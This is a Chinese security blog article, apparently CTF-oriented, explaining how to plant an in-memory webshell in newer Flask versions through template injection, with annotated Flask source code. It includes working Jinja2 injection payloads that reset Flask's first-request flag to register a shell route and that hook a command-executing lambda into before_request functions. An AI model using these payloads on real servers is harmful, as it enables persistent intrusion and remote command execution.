freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

flask新版内存马源码学习
Juvline 2024-11-28 14:40:07 16219
所属地 浙江省

flask新版内存马

旧版内存马为什么不能使用

首先,先看看以前的内存马的格式

{{g.pop.__globals__.sys.modules['__main__'].app.add_url_rule('/shell', 'shell','1')}}

原理是调用了add_url_rule注册了路由,并且可以定义一个匿名函数进行调用,我们可以不出网的得到执行结果

def add_url_rule(
    self,
    rule: str,
    endpoint: str | None = None,
    view_func: ft.RouteCallable | None = None,
    **options: t.Any,
) -> None:    
    rule (str): 
            URL 规则的路径字符串,例如 '/users' 或 '/posts/<int:id>'。
            该规则用于匹配传入请求的 URL,以确定应该调用哪个视图函数。

        endpoint (str | None, optional): 
            路由的端点名称,用于标识该路由。
            端点名称可以用于反向构建 URL,便于在应用中生成链接。
            如果设置为 None,Flask 会根据视图函数的名称自动生成端点名称。

        view_func (ft.RouteCallable | None, optional): 
            处理匹配到该 URL 规则的请求的视图函数。
            这个可调用对象可以是普通函数、类视图或其他任何可被调用的对象。
            如果设置为 None,则该规则不会关联任何视图函数。

新版本使用这个payload,会出现报错

image-20241101160910555

我们定位到函数_check_setup_finished,查看其内容:

def _check_setup_finished(self, f_name: str) -> None:
        if self._got_first_request:
            raise AssertionError(
                f"The setup method '{f_name}' can no longer be called"
                " on the application. It has already handled its first"
                " request, any changes will not be applied"
                " consistently.\n"
                "Make sure all imports, decorators, functions, etc."
                " needed to set up the application are done before"
                " running it."
            )

setupmethod装饰器中被调用

def setupmethod(f: F) -> F:
    f_name = f.__name__

    def wrapper_func(self, *args: t.Any, **kwargs: t.Any) -> t.Any:
        self._check_setup_finished(f_name)
        return f(self, *args, **kwargs)

    return t.cast(F, update_wrapper(wrapper_func, f))

_check_setup_finishedsetupmethod装饰器的重要组成部分。确保了任何设置方法在应用程序处理第一个请求后都无法再次被调用,从而保证应用的状态一致性。

add_url_rule新版本源码中使用了setupmethod装饰器,使得flask在进行启动之后不能再使用函数进行动态的创建路由

解决方法1: 修改_got_first_request

_check_setup_finished函数中,根据_got_first_request属性值进行判断,在每次请求的时候,会被默认置为True

image-20241101163834240

image-20241101164608390

我们可以使用__builtins__setattr,在进行内存马注入的时候,将_check_setup_finished置为fales

g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules['__main__'].app,'_got_first_request',False)

完整payload

{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules['__main__'].app, '_got_first_request', False).__class__.__base__.__subclasses__()[142].__init__.__globals__.sys.modules['__main__'].app.add_url_rule('/shell','shell','1')}}

image-20241101164435616

image-20241101164440774

解决方法2: 使用勾子函数(装饰器)的底层函数

装饰器

在 Python 中,装饰器是一种高阶函数,允许在运行时修改或增强另一个函数或方法的功能。装饰器通常以函数作为输入,返回一个新的函数,通常是在原函数基础上添加了某些功能或逻辑。通过在函数定义前使用@decorator_name的语法,可以轻松地将装饰器应用于目标函数

  • 工作机制

    接收函数:装饰器接收一个函数作为参数。

    定义新函数:在装饰器内部,可以定义一个新的函数,该函数可以在调用原函数之前或之后添加额外的行为。

    返回新函数:装饰器返回这个新函数,以替代原来的函数。

钩子函数

钩子函数是指在特定事件发生时被调用的函数。这些事件通常是由系统或框架触发,钩子函数允许开发者在这些事件发生时插入自定义的逻辑。在某些框架(如 Flask 或 Django)中,钩子函数通常与装饰器结合使用,以在特定的生命周期阶段执行特定的操作。

总结

装饰器是一种修改函数行为的工具,可以用来注册钩子函数

flask有五种常用请求钩子:

before_first_request:在处理app第一个请求前运行。

before_request:在每次请求前运行。

after_request:如果处理逻辑没有异常抛出,在每次请求后运行。

teardown_request:在每次请求后运行,即使处理发生了错误。

teardown_appcontext:在应用上下文从栈中弹出之前运行

before_request

@setupmethod
    def before_request(self, f: T_before_request) -> T_before_request:
        """Register a function to run before each request.

        For example, this can be used to open a database connection, or
        to load the logged in user from the session.

        .. code-block:: python

            @app.before_request
            def load_user():
                if "user_id" in session:
                    g.user = db.session.get(session["user_id"])

        The function will be called without any arguments. If it returns
        a non-``None`` value, the value is handled as if it was the
        return value from the view, and further request handling is
        stopped.
        """
        self.before_request_funcs.setdefault(None, []).append(f)
        return f

函数中最后是调用了self.before_request_funcs.setdefault(None, []).append(f)

  • self.before_request_funcs 是一个字典,通过调用before_request,来存储在请求之前调用的函数

  • setdefault(None, []) 表示不特定于任何特定路由的请求处理函数。意味着注册的函数适用于所有请求。

  • .append(f) 将函数f压入到字典中

before_request函数也存在@setupmethod装饰器,所以我们可以仿照这个形式给before_request_funcs字典写入值

payload

app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())

image-20241101193157820

image-20241101193217275

# 网络安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Juvline 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Juvline LV.2
这家伙太懒了,还未填写个人描述!
  • 2 文章数
  • 0 关注者
代码审计 | novel-plus(CNVD-2024-09639)和likeshop(CNNVD-2024-01765)
2024-11-28
文章目录